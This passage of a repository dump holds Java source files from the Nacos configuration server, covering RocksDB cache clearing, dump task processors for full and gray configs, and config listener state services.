DEFAULT_WRITE_BUFFER_MB, dir, maxHeapSizeMB);\n            return DEFAULT_WRITE_BUFFER_MB;\n        }\n        \n    }\n    \n    /**\n     * Clear all config file.\n     */\n    public void clearAll() {\n        try {\n            if (rocksDbMap.containsKey(BASE_DIR)) {\n                rocksDbMap.get(BASE_DIR).close();\n                RocksDB.destroyDB(EnvUtil.getNacosHome() + BASE_DIR, new Options());\n            }\n            deleteDirIfExist(BASE_DIR);\n            LogUtil.DEFAULT_LOG.info(\"clear all config-info success.\");\n        } catch (RocksDBException e) {\n            LogUtil.DEFAULT_LOG.warn(\"clear all config-info failed.\", e);\n        }\n    }\n    \n    /**\n     * Clear all gray config file.\n     */\n    public void clearAllGray() {\n        \n        try {\n            if (rocksDbMap.containsKey(GRAY_DIR)) {\n                rocksDbMap.get(GRAY_DIR).close();\n                RocksDB.destroyDB(EnvUtil.getNacosHome() + GRAY_DIR, new Options());\n            }\n            deleteDirIfExist(GRAY_DIR);\n            LogUtil.DEFAULT_LOG.info(\"clear all config-info-gray success.\");\n        } catch (RocksDBException e) {\n            LogUtil.DEFAULT_LOG.warn(\"clear all config-info-gray failed.\", e);\n        }\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/dump/processor/DumpAllGrayProcessor.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.dump.processor;\n\nimport com.alibaba.nacos.common.task.NacosTask;\nimport com.alibaba.nacos.common.task.NacosTaskProcessor;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.model.ConfigInfoGrayWrapper;\nimport com.alibaba.nacos.config.server.service.ConfigCacheService;\nimport com.alibaba.nacos.config.server.service.dump.task.DumpAllGrayTask;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoGrayPersistService;\nimport com.alibaba.nacos.config.server.utils.GroupKey2;\nimport com.alibaba.nacos.config.server.utils.LogUtil;\nimport com.alibaba.nacos.api.model.Page;\n\nimport static com.alibaba.nacos.config.server.utils.LogUtil.DEFAULT_LOG;\nimport static com.alibaba.nacos.config.server.utils.PropertyUtil.getAllDumpPageSize;\n\n/**\n * Dump all gray processor.\n *\n * @author Nacos\n * @datete 2024/02/20\n */\npublic class DumpAllGrayProcessor implements NacosTaskProcessor {\n    \n    public DumpAllGrayProcessor(ConfigInfoGrayPersistService configInfoGrayPersistService) {\n        this.configInfoGrayPersistService = configInfoGrayPersistService;\n    }\n    \n    @Override\n    public boolean process(NacosTask task) {\n        if (!(task instanceof DumpAllGrayTask)) {\n            DEFAULT_LOG.error(\n                    \"[all-dump-gray-error] ,invalid task type {},DumpAllGrayProcessor should process DumpAllGrayTask type.\",\n                    task.getClass().getSimpleName());\n            return false;\n        }\n        int rowCount = configInfoGrayPersistService.configInfoGrayCount();\n        int pageCount = (int) Math.ceil(rowCount * 1.0 / PAGE_SIZE);\n        \n        int actualRowCount = 0;\n        for (int pageNo = 1; pageNo <= pageCount; pageNo++) {\n            Page<ConfigInfoGrayWrapper> page = configInfoGrayPersistService.findAllConfigInfoGrayForDumpAll(pageNo, PAGE_SIZE);\n            if (page != null) {\n                for (ConfigInfoGrayWrapper cf : page.getPageItems()) {\n                    if (StringUtils.isBlank(cf.getTenant())) {\n                        continue;\n                    }\n                    boolean result = ConfigCacheService\n                            .dumpGray(cf.getDataId(), cf.getGroup(), cf.getTenant(), cf.getGrayName(), cf.getGrayRule(), cf.getContent(),\n                                    cf.getLastModified(), cf.getEncryptedDataKey());\n                    LogUtil.DUMP_LOG.info(\"[dump-all-gray-ok] result={}, {}, {}, length={}, md5={}, grayName={}\", result,\n                            GroupKey2.getKey(cf.getDataId(), cf.getGroup()), cf.getLastModified(),\n                            cf.getContent().length(), cf.getMd5(), cf.getGrayName());\n                }\n                \n                actualRowCount += page.getPageItems().size();\n                DEFAULT_LOG.info(\"[all-dump-gray] {} / {}\", actualRowCount, rowCount);\n            }\n        }\n        return true;\n    }\n    \n    static final int PAGE_SIZE = getAllDumpPageSize();\n    \n    final ConfigInfoGrayPersistService configInfoGrayPersistService;\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/dump/processor/DumpAllProcessor.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.dump.processor;\n\nimport com.alibaba.nacos.common.task.NacosTask;\nimport com.alibaba.nacos.common.task.NacosTaskProcessor;\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.model.ConfigInfoWrapper;\nimport com.alibaba.nacos.config.server.service.ClientIpWhiteList;\nimport com.alibaba.nacos.config.server.service.ConfigCacheService;\nimport com.alibaba.nacos.config.server.service.SwitchService;\nimport com.alibaba.nacos.config.server.service.dump.task.DumpAllTask;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.utils.GroupKey2;\nimport com.alibaba.nacos.config.server.utils.LogUtil;\nimport com.alibaba.nacos.config.server.utils.PropertyUtil;\nimport com.alibaba.nacos.api.model.Page;\n\nimport java.util.concurrent.LinkedBlockingQueue;\nimport java.util.concurrent.SynchronousQueue;\nimport java.util.concurrent.ThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\n\nimport static com.alibaba.nacos.config.server.constant.Constants.ENCODE_UTF8;\nimport static com.alibaba.nacos.config.server.utils.LogUtil.DEFAULT_LOG;\n\n/**\n * Dump all processor.\n *\n * @author Nacos\n * @date 2020/7/5 12:19 PM\n */\npublic class DumpAllProcessor implements NacosTaskProcessor {\n    \n    public DumpAllProcessor(ConfigInfoPersistService configInfoPersistService) {\n        this.configInfoPersistService = configInfoPersistService;\n    }\n    \n    @Override\n    public boolean process(NacosTask task) {\n        if (!(task instanceof DumpAllTask)) {\n            DEFAULT_LOG.error(\n                    \"[all-dump-error] ,invalid task type {},DumpAllProcessor should process DumpAllTask type.\",\n                    task.getClass().getSimpleName());\n            return false;\n        }\n        DumpAllTask dumpAllTask = (DumpAllTask) task;\n        \n        long currentMaxId = configInfoPersistService.findConfigMaxId();\n        long lastMaxId = 0;\n        ThreadPoolExecutor executorService = null;\n        if (dumpAllTask.isStartUp()) {\n            executorService = new ThreadPoolExecutor(Runtime.getRuntime().availableProcessors(),\n                    Runtime.getRuntime().availableProcessors(), 60L, TimeUnit.SECONDS,\n                    new LinkedBlockingQueue<>(PropertyUtil.getAllDumpPageSize() * 2),\n                    r -> new Thread(r, \"dump all executor\"), new ThreadPoolExecutor.CallerRunsPolicy());\n        } else {\n            executorService = new ThreadPoolExecutor(1, 1, 60L, TimeUnit.SECONDS, new SynchronousQueue<>(),\n                    r -> new Thread(r, \"dump all executor\"), new ThreadPoolExecutor.CallerRunsPolicy());\n        }\n        \n        DEFAULT_LOG.info(\"start dump all config-info...\");\n        \n        while (lastMaxId < currentMaxId) {\n            long start = System.currentTimeMillis();\n            \n            Page<ConfigInfoWrapper> page = configInfoPersistService.findAllConfigInfoFragment(lastMaxId,\n                    PropertyUtil.getAllDumpPageSize(), dumpAllTask.isStartUp());\n            long dbTimeStamp = System.currentTimeMillis();\n            if (page == null || page.getPageItems() == null || page.getPageItems().isEmpty()) {\n                break;\n            }\n            \n            for (ConfigInfoWrapper cf : page.getPageItems()) {\n                lastMaxId = Math.max(cf.getId(), lastMaxId);\n                if (StringUtils.isBlank(cf.getTenant())) {\n                    continue;\n                }\n                //if not start up, page query will not return content, check md5 and lastModified first ,if changed ,get single content info to dump.\n                if (!dumpAllTask.isStartUp()) {\n                    final String groupKey = GroupKey2.getKey(cf.getDataId(), cf.getGroup(), cf.getTenant());\n                    boolean newLastModified = cf.getLastModified() > ConfigCacheService.getLastModifiedTs(groupKey);\n                    //check md5 & update local disk cache.\n                    String localContentMd5 = ConfigCacheService.getContentMd5(groupKey);\n                    boolean md5Update = !localContentMd5.equals(cf.getMd5());\n                    if (newLastModified || md5Update) {\n                        LogUtil.DUMP_LOG.info(\"[dump-all] find change config {}, {}, md5={}\", groupKey,\n                                cf.getLastModified(), cf.getMd5());\n                        cf = configInfoPersistService.findConfigInfo(cf.getDataId(), cf.getGroup(), cf.getTenant());\n                    } else {\n                        continue;\n                    }\n                }\n                \n                if (cf == null) {\n                    continue;\n                }\n                \n                if (cf.getDataId().equals(ClientIpWhiteList.CLIENT_IP_WHITELIST_METADATA)) {\n                    ClientIpWhiteList.load(cf.getContent());\n                }\n                \n                if (cf.getDataId().equals(SwitchService.SWITCH_META_DATA_ID)) {\n                    SwitchService.load(cf.getContent());\n                }\n                \n                final String content = cf.getContent();\n                final String dataId = cf.getDataId();\n                final String group = cf.getGroup();\n                final String tenant = cf.getTenant();\n                final long lastModified = cf.getLastModified();\n                final String type = cf.getType();\n                final String encryptedDataKey = cf.getEncryptedDataKey();\n                \n                executorService.execute(() -> {\n                    final String md5Utf8 = MD5Utils.md5Hex(content, ENCODE_UTF8);\n                    boolean result = ConfigCacheService.dumpWithMd5(dataId, group, tenant, content, md5Utf8,\n                            lastModified, type, encryptedDataKey);\n                    if (result) {\n                        LogUtil.DUMP_LOG.info(\"[dump-all-ok] {}, {}, length={},md5UTF8={}\",\n                                GroupKey2.getKey(dataId, group), lastModified, content.length(), md5Utf8);\n                    } else {\n                        LogUtil.DUMP_LOG.info(\"[dump-all-error] {}\", GroupKey2.getKey(dataId, group));\n                    }\n                    \n                });\n                \n            }\n            \n            long diskStamp = System.currentTimeMillis();\n            DEFAULT_LOG.info(\"[all-dump] submit all task for {} / {}, dbTime={},diskTime={}\", lastMaxId, currentMaxId,\n                    (dbTimeStamp - start), (diskStamp - dbTimeStamp));\n        }\n        \n        //wait all task are finished and then shutdown executor.\n        try {\n            int unfinishedTaskCount = 0;\n            while ((unfinishedTaskCount = executorService.getQueue().size() + executorService.getActiveCount()) > 0) {\n                DEFAULT_LOG.info(\"[all-dump] wait {} dump tasks to be finished\", unfinishedTaskCount);\n                Thread.sleep(1000L);\n            }\n            executorService.shutdown();\n            \n        } catch (Exception e) {\n            DEFAULT_LOG.error(\"[all-dump] wait  dump tasks to be finished error\", e);\n        }\n        DEFAULT_LOG.info(\"success to  dump all config-info。\");\n        return true;\n    }\n    \n    final ConfigInfoPersistService configInfoPersistService;\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/dump/processor/DumpProcessor.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.dump.processor;\n\nimport com.alibaba.nacos.common.task.NacosTask;\nimport com.alibaba.nacos.common.task.NacosTaskProcessor;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.model.ConfigInfoGrayWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoWrapper;\nimport com.alibaba.nacos.config.server.model.event.ConfigDumpEvent;\nimport com.alibaba.nacos.config.server.service.dump.DumpConfigHandler;\nimport com.alibaba.nacos.config.server.service.dump.task.DumpTask;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoGrayPersistService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.utils.GroupKey2;\nimport com.alibaba.nacos.config.server.utils.LogUtil;\n\nimport java.util.Objects;\n\n/**\n * dump processor.\n *\n * @author Nacos\n * @date 2020/7/5 12:19 PM\n */\npublic class DumpProcessor implements NacosTaskProcessor {\n    \n    final ConfigInfoPersistService configInfoPersistService;\n    \n    final ConfigInfoGrayPersistService configInfoGrayPersistService;\n    \n    public DumpProcessor(ConfigInfoPersistService configInfoPersistService,\n            ConfigInfoGrayPersistService configInfoGrayPersistService) {\n        this.configInfoPersistService = configInfoPersistService;\n        this.configInfoGrayPersistService = configInfoGrayPersistService;\n    }\n    \n    @Override\n    public boolean process(NacosTask task) {\n        DumpTask dumpTask = (DumpTask) task;\n        String[] pair = GroupKey2.parseKey(dumpTask.getGroupKey());\n        String dataId = pair[0];\n        String group = pair[1];\n        String tenant = pair[2];\n        long lastModifiedOut = dumpTask.getLastModified();\n        String handleIp = dumpTask.getHandleIp();\n        String grayName = dumpTask.getGrayName();\n        \n        ConfigDumpEvent.ConfigDumpEventBuilder build = ConfigDumpEvent.builder().namespaceId(tenant).dataId(dataId)\n                .group(group).grayName(grayName).handleIp(handleIp);\n        String type = \"formal\";\n        if (StringUtils.isNotBlank(grayName)) {\n            type = grayName;\n        }\n        LogUtil.DUMP_LOG.info(\"[dump] process {} task. groupKey={}\", type, dumpTask.getGroupKey());\n        \n        if (StringUtils.isNotBlank(grayName)) {\n            ConfigInfoGrayWrapper cf = configInfoGrayPersistService.findConfigInfo4Gray(dataId, group, tenant,\n                    grayName);\n            build.remove(Objects.isNull(cf));\n            build.content(Objects.isNull(cf) ? null : cf.getContent());\n            build.type(Objects.isNull(cf) ? null : cf.getType());\n            build.encryptedDataKey(Objects.isNull(cf) ? null : cf.getEncryptedDataKey());\n            build.lastModifiedTs(Objects.isNull(cf) ? lastModifiedOut : cf.getLastModified());\n            build.grayName(grayName);\n            build.grayRule(Objects.isNull(cf) ? null : cf.getGrayRule());\n            return DumpConfigHandler.configDump(build.build());\n        }\n        \n        ConfigInfoWrapper cf = configInfoPersistService.findConfigInfo(dataId, group, tenant);\n        build.remove(Objects.isNull(cf));\n        build.content(Objects.isNull(cf) ? null : cf.getContent());\n        build.type(Objects.isNull(cf) ? null : cf.getType());\n        build.encryptedDataKey(Objects.isNull(cf) ? null : cf.getEncryptedDataKey());\n        build.lastModifiedTs(Objects.isNull(cf) ? lastModifiedOut : cf.getLastModified());\n        return DumpConfigHandler.configDump(build.build());\n        \n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/dump/task/DumpAllBetaTask.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.dump.task;\n\nimport com.alibaba.nacos.common.task.AbstractDelayTask;\n\n/**\n * Dump all beta task.\n *\n * @author Nacos\n * @date 2020/7/5 12:19 PM\n */\npublic class DumpAllBetaTask extends AbstractDelayTask {\n    \n    @Override\n    public void merge(AbstractDelayTask task) {\n    }\n    \n    public static final String TASK_ID = \"dumpAllBetaConfigTask\";\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/dump/task/DumpAllGrayTask.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.dump.task;\n\nimport com.alibaba.nacos.common.task.AbstractDelayTask;\n\n/**\n * Dump all gray task.\n *\n * @author Nacos\n * @date 2024/3/5\n */\npublic class DumpAllGrayTask extends AbstractDelayTask {\n    \n    @Override\n    public void merge(AbstractDelayTask task) {\n    }\n    \n    public static final String TASK_ID = \"dumpAllGrayConfigTask\";\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/dump/task/DumpAllTagTask.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.dump.task;\n\nimport com.alibaba.nacos.common.task.AbstractDelayTask;\n\n/**\n * Dump all tag task.\n *\n * @author Nacos\n * @date 2020/7/5 12:19 PM\n */\npublic class DumpAllTagTask extends AbstractDelayTask {\n    \n    @Override\n    public void merge(AbstractDelayTask task) {\n    }\n    \n    public static final String TASK_ID = \"dumpAllTagConfigTask\";\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/dump/task/DumpAllTask.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.dump.task;\n\nimport com.alibaba.nacos.common.task.AbstractDelayTask;\n\n/**\n * Dump all task.\n *\n * @author Nacos\n * @date 2020/7/5 12:17 PM\n */\npublic class DumpAllTask extends AbstractDelayTask {\n    \n    private boolean startUp;\n    \n    public DumpAllTask() {\n    }\n    \n    public DumpAllTask(boolean startUp) {\n        this.startUp = startUp;\n    }\n    \n    public boolean isStartUp() {\n        return startUp;\n    }\n    \n    @Override\n    public void merge(AbstractDelayTask task) {\n    }\n    \n    public static final String TASK_ID = \"dumpAllConfigTask\";\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/dump/task/DumpTask.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.dump.task;\n\nimport com.alibaba.nacos.common.task.AbstractDelayTask;\n\n/**\n * Dump data task.\n *\n * @author Nacos\n */\npublic class DumpTask extends AbstractDelayTask {\n    \n    public DumpTask(String groupKey, String grayName, long lastModified, String handleIp) {\n        this.groupKey = groupKey;\n        this.lastModified = lastModified;\n        this.handleIp = handleIp;\n        this.grayName = grayName;\n        //retry interval: 1s\n        setTaskInterval(1000L);\n    }\n    \n    @Override\n    public void merge(AbstractDelayTask task) {\n    }\n    \n    final String groupKey;\n    \n    final long lastModified;\n    \n    final String handleIp;\n    \n    final String grayName;\n    \n    public String getGroupKey() {\n        return groupKey;\n    }\n    \n    public long getLastModified() {\n        return lastModified;\n    }\n    \n    public String getHandleIp() {\n        return handleIp;\n    }\n    \n    public String getGrayName() {\n        return grayName;\n    }\n}\n\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/listener/ConfigListenerStateDelegate.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.listener;\n\nimport com.alibaba.nacos.api.config.model.ConfigListenerInfo;\nimport org.springframework.stereotype.Service;\n\n/**\n * Delegate for Config Listener State Service.\n *\n * @author xiweng.yy\n */\n@Service\npublic class ConfigListenerStateDelegate {\n    \n    private final LocalConfigListenerStateServiceImpl localService;\n    \n    private final RemoteConfigListenerStateServiceImpl remoteService;\n    \n    public ConfigListenerStateDelegate(LocalConfigListenerStateServiceImpl localService,\n            RemoteConfigListenerStateServiceImpl remoteService) {\n        this.localService = localService;\n        this.remoteService = remoteService;\n    }\n    \n    public ConfigListenerInfo getListenerState(String dataId, String groupName, String namespaceId,\n            boolean aggregation) {\n        ConfigListenerInfo result = localService.getListenerState(dataId, groupName, namespaceId);\n        if (aggregation) {\n            result.getListenersStatus()\n                    .putAll(remoteService.getListenerState(dataId, groupName, namespaceId).getListenersStatus());\n        }\n        return result;\n    }\n    \n    public ConfigListenerInfo getListenerStateByIp(String ip, boolean aggregation) {\n        ConfigListenerInfo result = localService.getListenerStateByIp(ip);\n        if (aggregation) {\n            result.getListenersStatus().putAll(remoteService.getListenerStateByIp(ip).getListenersStatus());\n        }\n        return result;\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/listener/ConfigListenerStateService.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.listener;\n\nimport com.alibaba.nacos.api.config.model.ConfigListenerInfo;\n\n/**\n * Nacos config listener statues service.\n *\n * @author xiweng.yy\n */\npublic interface ConfigListenerStateService {\n    \n    /**\n     * Get config listener state by dataId, groupName, namespaceId.\n     *\n     * @param dataId        data id of config\n     * @param groupName     group name of config\n     * @param namespaceId   namespace id of config\n     * @return              listener state, include listener ip and config md5\n     */\n    ConfigListenerInfo getListenerState(String dataId, String groupName, String namespaceId);\n    \n    /**\n     * Get config listener state by listener ip.\n     *\n     * @param ip    listener ip\n     * @return      listener config information, include dataId, groupName, namespaceId and config md5\n     */\n    ConfigListenerInfo getListenerStateByIp(String ip);\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/listener/LocalConfigListenerStateServiceImpl.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.listener;\n\nimport com.alibaba.nacos.api.config.model.ConfigListenerInfo;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.config.server.model.SampleResult;\nimport com.alibaba.nacos.config.server.remote.ConfigChangeListenContext;\nimport com.alibaba.nacos.config.server.service.LongPollingService;\nimport com.alibaba.nacos.config.server.utils.GroupKey2;\nimport com.alibaba.nacos.core.remote.Connection;\nimport com.alibaba.nacos.core.remote.ConnectionManager;\nimport org.springframework.stereotype.Service;\n\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\n\n/**\n * Local implementation for Config listener state service.\n *\n * @author xiweng.yy\n */\n@Service\npublic class LocalConfigListenerStateServiceImpl implements ConfigListenerStateService {\n    \n    private final LongPollingService longPollingService;\n    \n    private final ConfigChangeListenContext configChangeListenContext;\n    \n    private final ConnectionManager connectionManager;\n    \n    public LocalConfigListenerStateServiceImpl(LongPollingService longPollingService,\n            ConfigChangeListenContext configChangeListenContext, ConnectionManager connectionManager) {\n        this.longPollingService = longPollingService;\n        this.configChangeListenContext = configChangeListenContext;\n        this.connectionManager = connectionManager;\n    }\n    \n    @Override\n    public ConfigListenerInfo getListenerState(String dataId, String groupName, String namespaceId) {\n        // long polling listeners for 1.x client TODO removed after 3.x not support 1.x client.\n        SampleResult result = longPollingService.getCollectSubscribleInfo(dataId, groupName, namespaceId);\n        // rpc listeners for upper 2.x client.\n        String groupKey = GroupKey2.getKey(dataId, groupName, namespaceId);\n        Set<String> listenersClients = configChangeListenContext.getListeners(groupKey);\n        if (CollectionUtils.isEmpty(listenersClients)) {\n            return buildActualResult(result, ConfigListenerInfo.QUERY_TYPE_CONFIG);\n        }\n        Map<String, String> listenersGroupkeyStatus = new HashMap<>(listenersClients.size(), 1);\n        for (String connectionId : listenersClients) {\n            Connection client = connectionManager.getConnection(connectionId);\n            if (client != null) {\n                String md5 = configChangeListenContext.getListenKeyMd5(connectionId, groupKey);\n                if (md5 != null) {\n                    listenersGroupkeyStatus.put(client.getMetaInfo().getClientIp(), md5);\n                }\n            }\n        }\n        result.getLisentersGroupkeyStatus().putAll(listenersGroupkeyStatus);\n        return buildActualResult(result, ConfigListenerInfo.QUERY_TYPE_CONFIG);\n    }\n    \n    @Override\n    public ConfigListenerInfo getListenerStateByIp(String ip) {\n        // long polling listeners for 1.x client TODO removed after 3.x not support 1.x client.\n        SampleResult result = longPollingService.getCollectSubscribleInfoByIp(ip);\n        // rpc listeners for upper 2.x client.\n        List<Connection> connectionsByIp = connectionManager.getConnectionByIp(ip);\n        for (Connection connectionByIp : connectionsByIp) {\n            Map<String, String> listenKeys = configChangeListenContext.getListenKeys(\n                    connectionByIp.getMetaInfo().getConnectionId());\n            if (listenKeys != null) {\n                result.getLisentersGroupkeyStatus().putAll(listenKeys);\n            }\n        }\n        return buildActualResult(result, ConfigListenerInfo.QUERY_TYPE_IP);\n    }\n    \n    private ConfigListenerInfo buildActualResult(SampleResult sampleResult, String type) {\n        ConfigListenerInfo result = new ConfigListenerInfo();\n        result.setQueryType(type);\n        result.setListenersStatus(sampleResult.getLisentersGroupkeyStatus());\n        return result;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/listener/RemoteConfigListenerStateServiceImpl.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.listener;\n\nimport com.alibaba.nacos.api.config.model.ConfigListenerInfo;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.auth.config.NacosAuthConfig;\nimport com.alibaba.nacos.auth.config.NacosAuthConfigHolder;\nimport com.alibaba.nacos.auth.util.AuthHeaderUtil;\nimport com.alibaba.nacos.common.constant.HttpHeaderConsts;\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.http.param.Query;\nimport com.alibaba.nacos.common.model.RestResult;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.service.notify.HttpClientManager;\nimport com.alibaba.nacos.config.server.utils.LogUtil;\nimport com.alibaba.nacos.core.auth.NacosServerAuthConfig;\nimport com.alibaba.nacos.core.cluster.Member;\nimport com.alibaba.nacos.core.cluster.ServerMemberManager;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport com.fasterxml.jackson.core.type.TypeReference;\nimport org.springframework.stereotype.Service;\n\nimport java.util.Collections;\nimport java.util.HashMap;\n\nimport static com.alibaba.nacos.common.constant.RequestUrlConstants.HTTP_PREFIX;\n\n/**\n * 